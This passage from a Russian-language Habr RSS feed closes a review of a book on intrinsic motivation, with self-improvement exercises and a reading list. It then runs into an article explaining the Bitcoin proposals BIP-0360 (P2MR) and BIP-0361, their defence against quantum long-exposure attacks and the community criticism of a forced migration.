пример такого исследования Эдварда Деси, Ричарда Райана и Кристофера Нимиека. Учёные опросили нескольких будущих выпускников об их жизненных целях — и спустя несколько лет после получения образования пообщались повторно. Одна группа на первом опросе считала более важным достижение достатка или славы, вторая — считала главным сделать жизнь лучше, учиться и расти. Последовавший через несколько лет опрос показал повышенный уровень беспокойства и недовольства среди участников первой группы, причём даже среди тех, кто достиг поставленных ранее целей, и они вообще не стали счастливее за эти годы. В то же время вторая группа показала, напротив, заметное увеличение удовлетворённости жизнью и чаще оценивали свою жизнь как благополучную.&lt;p&gt;Отчасти концепция большего, чем генерация прибыли, смысла реализуется в концепции &lt;a href=https://en.wikipedia.org/wiki/Low-profit_limited_liability_company rel=&#34;noopener noreferrer nofollow&#34;&gt;L3C&lt;/a&gt; «low-profit limited liability company» (дословно общество с ограниченной ответственностью с низкой прибылью) — гибридной бизнес-структуры в США, объединяющей черты некоммерческих и коммерческих организаций для достижения социальных целей. Как поясняется в одном из отчётов по ссылке автора, L3C «&lt;em&gt;работает как коммерческое предприятие, приносящее хотя бы скромную прибыль, но его главная цель — приносить значительную социальную пользу&lt;/em&gt;». Похожая формулировка, которую я недавно заметил на сайте &lt;a href=https://www.anthropic.com/ rel=&#34;noopener noreferrer nofollow&#34;&gt;Anthropic&lt;/a&gt;, &lt;em&gt;—&lt;/em&gt; &lt;a href=https://en.wikipedia.org/wiki/Benefit_corporation rel=&#34;noopener noreferrer nofollow&#34;&gt;«public benefit corporation»&lt;/a&gt; (корпорация, приносящая общественную пользу).&lt;p&gt;«&lt;em&gt;Невозможно прожить по-настоящему прекрасную жизнь, не чувствуя принадлежности к чему-то большему и более вечному, чем ты сам&lt;/em&gt;» — автор цитирует Михая Чиксентмихайи и заключает: «&lt;em&gt;Мы знаем, что люди — это не просто маленькие, медлительные, лучше пахнущие лошади, скачущие за сиюминутной морковкой. Мы знаем — если проводили время с маленькими детьми или помним себя в лучшие моменты своей жизни — что нам не суждено быть пассивными и покорными. Мы созданы для активности и вовлечённости. И мы знаем, что самые ценные переживания в нашей жизни приходятся не на поиски одобрения со стороны других, а на моменты, когда мы прислушиваемся к собственному голосу — когда мы делаем что-то важное, делаем это хорошо и делаем это во имя дела, большего, чем мы сами&lt;/em&gt;».&lt;h2&gt;Как построить жизнь, основываясь на новой системе мотивации&lt;/h2&gt;&lt;p&gt;«&lt;em&gt;Людьми с типом личности I формируются, а не рождаются. Хотя мир переполнен внешними мотиваторами, мы можем многое сделать, чтобы привнести больше автономии, мастерства и смысла в нашу работу и жизнь&lt;/em&gt;» — считает автор и приводит девять упражнений, которые помогут встать на правильный путь:&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Сделайте тест на состояние потока&lt;/strong&gt;. В какие мгновения вы чувствовали себя в «потоке»? Где вы были? Чем занимались? С кем были? Связаны ли эти переживания с определённым временем суток и можно ли изменить расписание дня в соответствии с этим? Как можно увеличить долю оптимального опыта и снизить число моментов, когда вы чувствуете себя невовлечёнными или отвлекаетесь? Если у вас есть сомнения насчёт вашей работы или карьеры, дало ли это упражнение вам знания об истинном источнике внутренней мотивации?&lt;li&gt;&lt;p&gt;&lt;strong&gt;Задайте один большой вопрос…&lt;/strong&gt; В 1962 году Клэр Бут Люс, одна из первых женщин, работавших в Конгрессе США, дала совет президенту Джону Ф. Кеннеди. «Великий человек, — сказала она ему, — это одно предложение». Предложение Авраама Линкольна звучало так: «Он сохранил Союз штатов и освободил рабов», предложение Франклина Рузвельта: «Он вывел нас из Великой депрессии и помог выиграть мировую войну». Есть ли у вас такое одно предложение для себя?&lt;li&gt;&lt;p&gt;&lt;strong&gt;… и продолжите задавать маленькие&lt;/strong&gt;. В конце каждого дня спрашивайте себя, были ли вы сегодня лучше, чем вчера. Сделали ли вы больше? Сделали ли вы это хорошо? Мне вспоминается знаменитая китайская пословица, приписываемая философу Лао-цзы — «Путь в тысячу ли начинается с первого шага».&lt;li&gt;&lt;p&gt;&lt;strong&gt;Возьмите саббатикал&lt;/strong&gt;. Дэниэль приводит пример Стефана Сагмайстера, который каждые семь лет закрывает свою студию графического дизайна, сообщает клиентам, что не вернется в течение года, и уходит в 365-дневный отпуск. Он использует это время для путешествий, посещения мест, где никогда не был, и экспериментов с новыми проектами. Я знаю, что, к сожалению, далеко не для всех это реалистично. Но Стефан говорит, что идеи, которые он генерирует в течение года «отпуска», часто обеспечивают ему доход на следующие семь лет.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Проведите самооценку производительности&lt;/strong&gt;. Определитесь с целями, в первую очередь целями саморазвития, но можно добавить и направленные на внешний результат. Затем через существенный для их достижения промежуток времени, например каждый месяц, честно оцените прогресс. Ставьте большие и маленькие цели, чтобы ко времени оценки у вас точно была возможность полностью завершить некоторые из них. Убедитесь, что каждый аспект вашей деятельности относится к большим целям. Будьте совершенно честны. Цель этой процедуры в улучшении продуктивности и достижении мастерства, поэтому если вы пытаетесь оправдать свои неудачи или замалчивать свои ошибки вместо того, чтобы учиться на них, вы зря потратите время.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Выйдите из застоя, сменив угол зрения&lt;/strong&gt;. В 1975 году продюсер Брайан Ино и художник Питер Шмидт выпустили набор из ста карточек со стратегиями, которые помогали им справляться с колоссальным давлением, неизбежно возникающим перед дедлайном. На каждой карточке записан один — зачастую загадочный — вопрос или фраза, призванные вытолкнуть вас из ментальной колеи. Вот несколько примеров: «Как бы поступил твой лучший друг?», «Твоя ошибка была скрытым намерением», «Какое решение самое простое?», «Повторение — это форма перемен», «Не избегай того, что даётся легко». Если вы работаете над проектом и зашли в тупик, вытяните из колоды (есть даже доступные для покупки готовые комплекты, правда, в России альтернатив не нашёл – вот пример &lt;a href=&#34;https://enoshop.co.uk/products/oblique-strategies?variant=51221629501780&#34; rel=&#34;noopener noreferrer nofollow&#34;&gt;за границей&lt;/a&gt;) карту «обходной стратегии», советует автор, и подчёркивает, что это отличный способ сохранить гибкость ума вопреки внешним ограничениям, которые вы не в силах изменить.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Сделайте 5 шагов к мастерству&lt;/strong&gt;.&lt;ol&gt;&lt;li&gt;&lt;p&gt;Помните, что у осознанной практики только одна цель — рост продуктивности.&lt;li&gt;&lt;p&gt;Итерируйте, итерируйте и ещё раз итерируйте.&lt;li&gt;&lt;p&gt;Ищите постоянную критическую обратную связь.&lt;li&gt;&lt;p&gt;Беспощадно фокусируйтесь на том, что у вас не получается.&lt;li&gt;&lt;p&gt;Будьте готовы к тому, что этот процесс измотает вас — и ментально, и физически.&lt;/ol&gt;&lt;/ol&gt;&lt;h2&gt;Что ещё почитать&lt;/h2&gt;&lt;p&gt;Для тех, кто заинтересован в том, чтобы развить в себе Тип I, Дэниэль, «&lt;em&gt;не претендуя на полноту, а скорее для хорошего старта&lt;/em&gt;», приводит список (я читал книгу на английском, здесь старался выбрать корректные переводы названий):&lt;ol&gt;&lt;li&gt;&lt;p&gt;«Конечные и бесконечные игры: жизнь как игра и возможность», Джеймс Карс.&lt;li&gt;&lt;p&gt;«Талант ни при чем! Что на самом деле отличает выдающихся исполнителей от всех остальных», Джефф Колвин.&lt;li&gt;&lt;p&gt;«Поток: Психология оптимального переживания», Михай Чиксентмихайи.&lt;li&gt;&lt;p&gt;«Почему мы делаем то, что делаем: понимание самомотивации», Эдвард Деси и Ричард Фласт.&lt;li&gt;&lt;p&gt;«Гибкое сознание: новый взгляд на психологию развития взрослых и детей», Кэрол Дуэк.&lt;li&gt;&lt;p&gt;«И мы пришли к концу», Джошуа Феррис.&lt;li&gt;&lt;p&gt;«Хорошая работа: когда мастерство и этика встречаются», Говард Гарднер, Михай Чиксентмихайи, Уильям Дэймон.&lt;li&gt;&lt;p&gt;«Гении и аутсайдеры: почему одним всё, а другим ничего?», Малкольм Гладуэлл.&lt;li&gt;&lt;p&gt;«Команда соперников: политический гений Авраама Линкольна», Дорис Кернс Гудвин.&lt;li&gt;&lt;p&gt;«Дилетанты: история четверых молодых людей и их погони за олимпийским золотом», Дэвид Хальберстам.&lt;li&gt;&lt;p&gt;«Наказанные наградами: что не так с золотыми звездами, системами поощрения, пятерками, похвалой и другими взятками», Альфи Кон.&lt;li&gt;&lt;p&gt;«Однажды в беге», Джон Л. Паркер-младший.&lt;li&gt;&lt;p&gt;«Война за креатив: как преодолеть внутренние барьеры и выиграть битву за творчество», Стивен Прессфилд.&lt;li&gt;&lt;p&gt;«Маверик: История успеха самой необычной компании в мире», Рикардо Семлер.&lt;li&gt;&lt;p&gt;«Пятая дисциплина: искусство и практика обучающейся организации», Питер Сенге.&lt;/ol&gt;&lt;h2&gt;Мой опыт&lt;/h2&gt;&lt;p&gt;В данный момент я могу сказать, что у меня всё вполне хорошо с автономией и мастерством. Я занимаю роль Staff инженера на работе в CloudLinux и веду достаточно интересные и значимые проекты. Я квалифицирован в своём деле. Кроме того, я люблю открытое и свободное ПО и работаю в департаменте по развитию и поддержке продукта, обеспечивающего безопасность Linux-серверов, это придаёт осмысленность. Этот путь начался с определяющего мой профессиональный путь первого знакомства с ArchLinux на втором курсе университета в 2006 году и, оглядываясь назад, я понимаю, что именно триада автономии, мастерства и осмысленности привлекала меня. Кроме того, «для себя» я немного занимаюсь удалённой организацией &lt;a href=https://permlug.org/ rel=&#34;noopener noreferrer nofollow&#34;&gt;Пермской группы пользователей Linux&lt;/a&gt; и ведением &lt;a href=https://nx-01.club/ rel=&#34;noopener noreferrer nofollow&#34;&gt;научно-фантастического клуба NX-01&lt;/a&gt; (писал про него на &lt;a href=https://habr.com/ru/articles/990680/ rel=&#34;noopener noreferrer nofollow&#34;&gt;Хабре&lt;/a&gt;), это прибавляет недостающих «очков осмысленности». А деньги — на самом деле чаще всего они приходят попутно. И это в сумме даёт достаточный уровень мотивации и для работы и для остального. Разве что я бы ещё раз подчеркнул уже упомянутую выше важность достаточного базового уровня компенсации за проделанный труд. Если уровень дохода настолько низкий, что ты должен постоянно думать, как прожить, — тогда, пожалуй, все эти высокофилософские размышления могут показаться пустой болтовнёй.&lt;h2&gt;Заключение&lt;/h2&gt;&lt;p&gt;В рамках этого обзора я сосредоточился на личном уровне мотивации. Пожалуй, самое важное в книге, что мне не удалось поместить в этот обзор, — это солидная подборка ссылок и кратких описаний множества научных исследований и экспериментов, составивших основу этой книги. Без этого, возможно, что-то звучало неубедительно или непонятно. Кроме того, я не упомянул рекомендации по развитию Мотивации 3.0 и Типа I для коммерческих и некоммерческих организаций, родителей и учителей. И ещё много всего важного и интересного. Но, надеюсь, что хотя бы заинтересовал книгой и, возможно, вы её посмотрите.&lt;p&gt;Что касается личного опыта, то я бы перевернул авторскую триаду. Для меня всё началось со смысла, а уже от него я перешёл к мастерству и автономности. Именно это сочетание остаётся главным двигателем, а достойный уровень дохода всегда приходил попутно.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>Gim6626</author>
      <guid>https://habr.com/ru/articles/1024846/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024846</guid>
      <pubDate>Fri, 17 Apr 2026 18:24:14 +0000</pubDate>
    </item>
    <item>
      <title>Защита Bitcoin от квантовых атак или кража денег у Сатоши?</title>
      <link>https://habr.com/ru/articles/1024840/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024840</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/d03/797/30f/d0379730fb4f7f2885cfd4f87f4ec7f3.jpg width=1280 height=722 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/d03/797/30f/d0379730fb4f7f2885cfd4f87f4ec7f3.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/d03/797/30f/d0379730fb4f7f2885cfd4f87f4ec7f3.jpg 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;&lt;em&gt;На этой неделе крипто-сообщество ведёт ожесточённые споры вокруг BIP‑0361 — предложения, которое может изменить фундаментальные правила владения биткоином. Поводом для обсуждения стала публикация в конце марта технической белой книги Google Quantum AI, которая радикально сдвинула оценку сроков появления квантовой угрозы.&lt;/em&gt;&lt;p&gt;&lt;em&gt;Мы изучили техническую документацию, историю разработки и позиции ключевых фигур, чтобы разобраться в сути происходящего.&lt;/em&gt;&lt;h3&gt;BIP‑0360 и технология P2MR: технический фундамент&lt;/h3&gt;&lt;h4&gt;Угроза: атаки длительной экспозиции&lt;/h4&gt;&lt;p&gt;Согласно анализу исследователей, под угрозой атаки со стороны квантовых вычислений сегодня находятся около трети циркулирующего предложения биткоина. Речь идёт о монетах, которые хранятся в адресах, у которых публичный ключ раскрыт прямо в блокчейне — в устаревших адресах P2PK (применявшихся на этапе тестирования блокчейна), либо при их повторном использовании. При этом обновление Taproot, предназначенное для повышения приватности и эффективности, теперь делает публичные ключи видимыми по умолчанию в выходах транзакций, что расширяет список потенциальных жертв потенциальной квантовой атаки.&lt;p&gt;BIP‑0360 вводит понятие для постоянно присутствующего вектора атак — long‑exposure attack. Так охарактеризовали атаки, при которой злоумышленник с криптографически значимым квантовым компьютером (CRQC) восстанавливает приватный ключ из публичного ключа, уже находящегося в блокчейне. В отличие от short‑exposure угроз, когда атака на транзакцию происходит на этапе нахождения её в мемпуле и требует срабатывания за несколько минут, long‑exposure угрозы не ограничены по времени и является более желанной целью злоумышленников.&lt;h4&gt;Как работает P2MR&lt;/h4&gt;&lt;p&gt;P2MR (Pay‑to‑Merkle‑Root) — это новый тип выхода, предложенный в BIP‑0360. Ключевое отличие от P2TR (Taproot) это полное удаление информации из транзакции о ключевом пути (key‑path spend).&lt;p&gt;В P2TR выход коммитится к &lt;em&gt;tweaked public key&lt;/em&gt; &lt;code&gt;Q = P + H(P || m)G&lt;/code&gt;, где &lt;code&gt;P&lt;/code&gt; — внутренний публичный ключ, &lt;code&gt;m&lt;/code&gt; — корень дерева скриптов. &lt;code&gt;Key‑path&lt;/code&gt; позволяет потратить выход простой подписью Шнорра, не раскрывая существования скриптового дерева. Однако сам публичный ключ &lt;code&gt;Q&lt;/code&gt; остаётся в блокчейне — и именно он становится мишенью для квантовой атаки.&lt;p&gt;P2MR заменяет эту конструкцию: выход коммитится напрямую к корню дерева скриптов, без включения публичного ключа. При трате пользователь обязан:&lt;ol&gt;&lt;li&gt;&lt;p&gt;Раскрыть один из скриптов дерева (например, условие мультиподписи или временной блокировки).&lt;li&gt;&lt;p&gt;Предоставить доказательство Меркла (Merkle proof) — хеши соседних ветвей, подтверждающие, что скрипт действительно является частью закоммиченного дерева.&lt;li&gt;&lt;p&gt;Выполнить условия скрипта (например, предоставить подпись, соответствующую публичному ключу, указанному внутри скрипта).&lt;/ol&gt;&lt;p&gt;&lt;strong&gt;Критически важно:&lt;/strong&gt; публичный ключ, используемый для проверки подписи, никогда не появляется в самом выходе. Он раскрывается только в момент траты — и только для того скрипта, который реально исполняется. Это устраняет возможность проведения атаки с длительной экспозицией.&lt;h3&gt;Ключевое отличие BIP‑0341 и BIP‑0360&lt;/h3&gt;&lt;h4&gt;Техническая реализация различия&lt;/h4&gt;&lt;p&gt;В BIP‑0341 (Taproot) выходной скрипт определяется как &lt;code&gt;OP_1 &amp;lt;32-byte push&amp;gt;&lt;/code&gt;, где 32‑байтовое значение — это &lt;code&gt;output_key&lt;/code&gt; (tweaked public key). Правила траты допускают два пути:&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;&lt;strong&gt;Key‑path&lt;/strong&gt;&lt;/code&gt;&lt;strong&gt;:&lt;/strong&gt; предоставить действительную подпись Шнорра для &lt;code&gt;output_key&lt;/code&gt;.&lt;li&gt;&lt;p&gt;&lt;code&gt;&lt;strong&gt;Script‑path&lt;/strong&gt;&lt;/code&gt;&lt;strong&gt;:&lt;/strong&gt; раскрыть скрипт, доказать его принадлежность дереву через доказательство Меркла (Merkle proof) и выполнить скрипт.&lt;/ul&gt;&lt;p&gt;В BIP‑0360 (P2MR) выходной скрипт также использует SegWit первой версии, но 32‑байтовое значение — это исключительно корень дерева скриптов. Валидация &lt;code&gt;key‑path&lt;/code&gt; полностью исключена из консенсусных правил для этого типа выхода.&lt;h4&gt;Почему разработчики BIP‑0341 сразу не применили тот же приём?&lt;/h4&gt;&lt;p&gt;Taproot разрабатывался в 2019–2020 годах, когда квантовая угроза воспринималась скорее как гипотетическая, а приоритетами были приватность (транзакции не раскрывающие структуру) и эффективность (небольшой размер подписи).&lt;p&gt;Сокрытие &lt;code&gt;key‑path&lt;/code&gt; в 2020 году лишило бы Taproot его главных преимуществ, и создало бы проблемы на пути массового принятия технологии.&lt;h4&gt;Компромиссы P2MR&lt;/h4&gt;&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td data-colwidth=182 width=182&gt;&lt;p align=center&gt;&lt;strong&gt;Параметр&lt;/strong&gt;&lt;td&gt;&lt;p align=center&gt;&lt;strong&gt;P2TR (key‑path)&lt;/strong&gt;&lt;td&gt;&lt;p align=center&gt;&lt;strong&gt;P2MR&lt;/strong&gt;&lt;tr&gt;&lt;td data-colwidth=182 width=182&gt;&lt;p align=left&gt;Размер&lt;td&gt;&lt;p align=left&gt;66 байт&lt;td&gt;&lt;p align=left&gt;103 байта&lt;tr&gt;&lt;td data-colwidth=182 width=182&gt;&lt;p align=left&gt;Приватность&lt;td&gt;&lt;p align=left&gt;Высокая (&lt;code&gt;key‑path&lt;/code&gt; неотличим от обычной транзакции)&lt;td&gt;&lt;p align=left&gt;Снижена (раскрывается факт использования скриптового дерева)&lt;tr&gt;&lt;td data-colwidth=182 width=182&gt;&lt;p align=left&gt;Уязвимость перед long‑exposure attack&lt;td&gt;&lt;p align=left&gt;Да&lt;td&gt;&lt;p align=left&gt;Нет&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Разработчики сознательно пошли на увеличение размера транзакций, а следовательно и комиссий, чтобы устранить опасность атак с длительной экспозицией.&lt;h3&gt;BIP‑0361: трёхфазная миграция&lt;/h3&gt;&lt;p&gt;И если возможное внедрение P2MR не вызвало серьёзных опасений со стороны сообщества, то предложенный в BIP‑0361 принудительный график отказа от квантово‑уязвимых типов выходов уже вызвал бурные обсуждения.&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td data-colwidth=65 width=65&gt;&lt;p align=center&gt;&lt;strong&gt;Фаза&lt;/strong&gt;&lt;td data-colwidth=322 width=322&gt;&lt;p align=center&gt;&lt;strong&gt;Что происходит&lt;/strong&gt;&lt;td data-colwidth=180 width=180&gt;&lt;p align=center&gt;&lt;strong&gt;Актор&lt;/strong&gt;&lt;td data-colwidth=172 width=172&gt;&lt;p align=center&gt;&lt;strong&gt;Срок&lt;/strong&gt;&lt;tr&gt;&lt;td data-colwidth=65 width=65&gt;&lt;p align=left&gt;A&lt;td data-colwidth=322 width=322&gt;&lt;p align=left&gt;Разрешены переводы со старых (legacy) адресов только на квантово-устойчивые адреса&lt;td data-colwidth=180 width=180&gt;&lt;p align=left&gt;Все, кто владеет или принимает BTC&lt;td data-colwidth=172 width=172&gt;&lt;p align=left&gt;160 000 блоков после активации BIP-0361 (~3 года)&lt;tr&gt;&lt;td data-colwidth=65 width=65&gt;&lt;p align=left&gt;B&lt;td data-colwidth=322 width=322&gt;&lt;p align=left&gt;На заранее определённой высоте блока узлы отклоняют транзакции, использующие ключи ECDSA/Schnorr&lt;td data-colwidth=180 width=180&gt;&lt;p align=left&gt;Все, кто владеет или принимает BTC&lt;td data-colwidth=172 width=172&gt;&lt;p align=left&gt;Через 2 года после активации &lt;strong&gt;Фазы A&lt;/strong&gt;&lt;tr&gt;&lt;td data-colwidth=65 width=65&gt;&lt;p align=left&gt;C&lt;td data-colwidth=322 width=322&gt;&lt;p align=left&gt;Пользователи с «замороженными» средствами, уязвимыми для квантовых атак, и seed-фразой HD-кошелька могут создать квантово-устойчивое доказательство для восстановления&lt;td data-colwidth=180 width=180&gt;&lt;p align=left&gt;Пользователи, не успевшие перевести средства до &lt;strong&gt;Фазы B&lt;/strong&gt;&lt;td data-colwidth=172 width=172&gt;&lt;p align=left&gt;Будет определено в зависимости от исследований, спроса и консенсуса&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;em&gt;Источник: &lt;/em&gt;&lt;a href=https://github.com/bitcoin/bips/blob/master/bip-0361.mediawiki#specification rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;strong&gt;&lt;em&gt;BIP‑0361&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt;&lt;p&gt;&lt;strong&gt;Фаза C&lt;/strong&gt; описана как «требующая дальнейших исследований», ведь без неё предложенное улучшение в некоторых случаях превращается в безвозвратную конфискацию средств.&lt;p&gt;Стоит заметить, что на момент публикации этого материала предложение BIP‑0361 находится в статусе &lt;strong&gt;Draft (черновик)&lt;/strong&gt;. Никаких решений о его реализации не принято, а сроки активации пока не установлены. Как охарактеризовал предложение один из его разработчиков Джеймсон Лопп, сегодня это «грубый набросок плана на случай непредвиденных обстоятельств».&lt;h3&gt;Хронология событий:&lt;/h3&gt;&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td data-colwidth=155 width=155&gt;&lt;p align=center&gt;&lt;strong&gt;Дата&lt;/strong&gt;&lt;td data-colwidth=481 width=481&gt;&lt;p align=center&gt;&lt;strong&gt;Событие&lt;/strong&gt;&lt;td&gt;&lt;p align=center&gt;&lt;strong&gt;Документ&lt;/strong&gt;&lt;tr&gt;&lt;td data-colwidth=155 width=155&gt;&lt;p align=left&gt;19 января 2020&lt;td data-colwidth=481 width=481&gt;&lt;p align=left&gt;Представлен BIP‑0341 (Taproot), авторы: Pieter Wuille, Jonas Nick, Anthony Towns&lt;td&gt;&lt;p align=center&gt;&lt;a href=https://github.com/bitcoin/bips/blob/master/bip-0341.mediawiki rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;strong&gt;BIP‑0341&lt;/strong&gt;&lt;/a&gt;&lt;tr&gt;&lt;td data-colwidth=155 width=155&gt;&lt;p align=left&gt;12 ноября 2021&lt;td data-colwidth=481 width=481&gt;&lt;p align=left&gt;Taproot активирован в основной сети Bitcoin (блок 709 632)&lt;td&gt;&lt;p align=center&gt;&lt;strong&gt;—&lt;/strong&gt;&lt;tr&gt;&lt;td data-colwidth=155 width=155&gt;&lt;p align=left&gt;18 декабря 2024&lt;td data-colwidth=481 width=481&gt;&lt;p align=left&gt;Создан BIP‑0360 (первоначально P2QRH, позже переименован в P2MR), автор: Hunter Beast&lt;td&gt;&lt;p align=center&gt;&lt;a href=https://github.com/bitcoin/bips/blob/master/bip-0360.mediawiki rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;strong&gt;BIP‑0360&lt;/strong&gt;&lt;/a&gt;&lt;tr&gt;&lt;td data-colwidth=155 width=155&gt;&lt;p align=left&gt;11 февраля 2026&lt;td data-colwidth=481 width=481&gt;&lt;p align=left&gt;BIP‑0360 объединён с официальным репозиторием &lt;img class=&#34;formula inline&#34; source=bitcoin/bips alt=bitcoin/bips src=https://habrastorage.org/getpro/habr/formulas/e/e7/e72/e72c177fce7ed1c54143dbca6bd38034.svg width=88 height=16 data-width=11.864 data-height=2.262 data-vertical-align=-0.566 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/getpro/habr/formulas/e/e7/e72/e72c177fce7ed1c54143dbca6bd38034.svg 780w,&#xA;       https://habrastorage.org/getpro/habr/formulas/e/e7/e72/e72c177fce7ed1c54143dbca6bd38034.svg 781w&#34; loading=lazy decode=async&gt; после добавления соавторов Ethan Heilman и Isabel Foxen Duke&lt;td&gt;&lt;p align=center&gt;&lt;a href=https://github.com/bitcoin/bips/blob/master/bip-0360.mediawiki rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;strong&gt;BIP‑0360&lt;/strong&gt;&lt;/a&gt;&lt;tr&gt;&lt;td data-colwidth=155 width=155&gt;&lt;p align=left&gt;14 апреля 2026&lt;td data-colwidth=481 width=481&gt;&lt;p align=left&gt;Представлен BIP‑0361, авторы: Jameson Lopp, Christian Papathanasiou, Ian Smith, Joe Ross, Steve Vaile, Pierre-Luc Dallaire-Demers&lt;td&gt;&lt;p align=center&gt;&lt;a href=https://github.com/bitcoin/bips/blob/master/bip-0361.mediawiki rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;strong&gt;BIP‑0361&lt;/strong&gt;&lt;/a&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3&gt;Альтернативные взгляды на риски и мнения экспертов&lt;/h3&gt;&lt;p&gt;Известный биткоин‑евангелист &lt;strong&gt;Джимми Сонг&lt;/strong&gt; выразил свой скептицизм в соцсети X:&lt;div class=tm-iframe_temp data-src=https://embedd.srv.habr.com/iframe/69e268f880609702592c8f4a data-style id=69e268f880609702592c8f4a width data-habr-games&gt;&lt;/div&gt;&lt;p&gt;А основатель TFTC &lt;strong&gt;Марти Бент&lt;/strong&gt; в более жёсткой форме назвал предложение «абсурдным».&lt;p&gt;Тогда как основатель Cardano &lt;strong&gt;Чарльз Хоскинсон&lt;/strong&gt; в более конструктивной форме выдвинул два фундаментальных технических возражения:&lt;ol&gt;&lt;li&gt;&lt;p&gt;BIP‑0361 — это хард‑форк, а не софт‑форк&lt;br&gt;&lt;br&gt;Хоскинсон утверждает, что инвалидация существующих схем подписи (ECDSA/Schnorr) заставляет старые узлы прекращать работу, если они не обновятся. Это противоречит определению софт‑форка: «чтобы реально сделать это, нужен хард‑форк».&lt;br&gt;&lt;br&gt;&lt;em&gt;Авторы BIP‑0361 действительно признают эту проблему, отмечая, что если &lt;/em&gt;&lt;strong&gt;&lt;em&gt;Фаза C&lt;/em&gt;&lt;/strong&gt;&lt;em&gt; не будет активирована вместе с &lt;/em&gt;&lt;strong&gt;&lt;em&gt;Фазой B&lt;/em&gt;&lt;/strong&gt;&lt;em&gt;, то, вероятно, потребуется хард‑форк блокчейна.&lt;/em&gt;&lt;li&gt;&lt;p&gt;ZK‑восстановление не спасёт ранние монеты&lt;br&gt;&lt;br&gt;Примерно 1,7 млн BTC (включая ~1,1 млн BTC, приписываемых Сатоши) были созданы до появления &lt;a href=https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;strong&gt;BIP‑32&lt;/strong&gt;&lt;/a&gt; (иерархические детерминированные кошельки) и &lt;a href=https://github.com/bitcoin/bips/blob/master/bip-0039.mediawiki rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;strong&gt;BIP‑39&lt;/strong&gt;&lt;/a&gt; (мнемонические фразы). Раннее программное обеспечение Bitcoin использовало локальный пул ключей без детерминированного seed. Как следствие, будет невозможно создать подтверждение владения с нулевым разглашением seed‑фразой для таких монет.&lt;br&gt;&lt;br&gt;&lt;em&gt;В тексте улучшения также упоминается это принципиальное ограничение: «невозможно построить доказательство владения HD‑кошельком для UTXO, созданных до появления BIP‑32».&lt;/em&gt;&lt;/ol&gt;&lt;p&gt;Примечательно и то, что активный разработчик Bitcoin core &lt;strong&gt;Марк Эрхардт&lt;/strong&gt; (&lt;em&gt;известный как &lt;/em&gt;&lt;a href=https://github.com/murchandamus rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;em&gt;Murch&lt;/em&gt;&lt;/a&gt;), который ранее закоммитил улучшение BIP‑0360, назвал план по его внедрению (BIP‑0361) «авторитарным и конфискационным». &lt;p&gt;Вице-президент по маркетингу продукта в Unchained (&lt;em&gt;предоставляют финансовые услуги для биткоин-инвесторов&lt;/em&gt;) и по совместительству член совета директоров и консультантов фонда Bitcoin Scholars Fund &lt;strong&gt;Фил Гейгер&lt;/strong&gt; лаконично сформулировал всю суть большей части критики фразой:&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;&lt;em&gt;«Мы украдём деньги людей, чтобы предотвратить кражу их денег»&lt;/em&gt;&lt;/strong&gt;&lt;/blockquote&gt;&lt;p&gt;Генеральный директор Blockstream &lt;strong&gt;Адам Бэк&lt;/strong&gt; 16 апреля 2026 года также выступил на Paris Blockchain Week с альтернативной позицией. &lt;p&gt;Он подчеркнул, что текущие квантовые компьютеры остаются «по сути лабораторными экспериментами», а прогресс в этой области за 25 лет его наблюдений был «постепенным». Бэк считает, что Taproot (BIP‑0341) уже спроектирован достаточно гибко для добавления новых методов подписи без нарушения работы существующих пользователей.&lt;p&gt;Ключевой контраргумент Бэка касается способности сообщества к оперативной координации, когда любые обнаруженные баги исправляются сообществом в течение нескольких часов. Он считает, что разработчики смогут быстро решить проблему при возникновении реальной угрозы.&lt;p&gt;В качестве дополнения к озвученному Бэком стоит упомянуть план &lt;strong&gt;BitMEX Research&lt;/strong&gt;, который описывает создание «&lt;em&gt;канареечной&lt;/em&gt;» системы. Принцип работы которой заключается в размещении небольшого количества биткоинов на специальном адресе «signal vault», который может быть взломан только злоумышленником, обладающим квантовыми способностями. Любые траты с этого адреса будут являться публичным доказательством того, что угроза уже существует, и автоматически запустят блокировку старых кошельков в сети.&lt;p&gt;Такой механизм призван заменить фиксированную по времени заморозку, сохраняя устойчивость блокчейна биткоина к цензуре и снижая потенциальные системные сбои, хотя это и сопряжено с повышением сложности реализации.&lt;h3&gt;Заключение&lt;/h3&gt;&lt;p&gt;Нашумевшее улучшение поднимает фундаментальный вопрос: может ли протокол ограничить право на трату средств ради 